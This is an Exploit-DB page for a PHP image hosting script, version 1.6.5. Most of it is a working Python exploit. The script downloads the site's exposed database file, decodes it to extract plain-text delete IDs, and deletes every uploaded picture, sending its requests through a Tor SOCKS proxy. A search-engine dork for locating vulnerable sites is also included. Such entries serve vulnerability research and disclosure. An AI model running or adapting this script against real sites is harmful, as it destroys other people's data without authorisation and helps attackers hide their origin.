CF Image Hosting Script 1.6.5 - (Delete all Pictures) Privilege Escalation

EDB-ID:
46094

CVE:
N/A

EDB Verified: ×

Author:
DAVID TAVAREZ

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-08

Vulnerable App:

```
#!/usr/bin/env python
"""
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
Google Dork: "Powered By CF Image Hosting script"
Date: 01/08/2019
Exploit Author: David Tavarez
Vendor Homepage: https://davidtavarez.github.io/
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
Version: 1.6.5
Tested on: Debian 9.6

By default, the database can be downloaded by any user. After decoding
the file the database should be unserialize. The DELETE ID is stored
in Plain Text, this ID can be use to delete a picture.

$ virtualenv cfexploit
$ source cfexploit/bin/activate
$ pip install phpserialize
$ pip install PySocks
$ python exploit.py http://127.0.0.1:8000

[-] Target: http://127.0.0.1:8000/
[-] Downloading the database...
[+] Decoding database...
[-] Finding pictues...
[+] Pictures found: 3
[+] Ready... let's do this! Deleting all pictures...
[+] Done.

"""
import phpserialize
import base64

import socks
import socket

import sys


def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    sock.connect(address)
    return sock


socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)

# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection

import urllib2

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "ERROR: Provide a valid URL"
        sys.exit(-1)
    url = sys.argv[1]

    ids = []

    try:
        print "[+] Target: {}".format(url)
        print "[+] Downloading the database..."
        response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))
        print "[+] Decoding database..."
        with open("imgdb.db.txt", "w+") as f:
```

```
            f.write(base64.b64decode(response.read()))
        print "[+] Finding pictues..."
        for key, value in
phpserialize.load(file("imgdb.db.txt")).iteritems():
            ids.append(value.get('deleteid'))
        print "[+] Pictures found: {}".format(len(ids))
        print "[+] Ready... let's do this! Deleting all pictures..."
        for id in ids:
            urllib2.urlopen("{}/?d={}".format(url, id))
        print "[+] Done."

    except urllib2.URLError, ex:
        if ex.reason == "Forbidden":
            print "[-] ERROR: this version is not vulnerable."
    except EOFError, e:
        raise e
```

Tags: Authentication Bypass / Credentials Bypass (AB/CB)

Advisory/Source: Link

Databases

Links

Sites

Solutions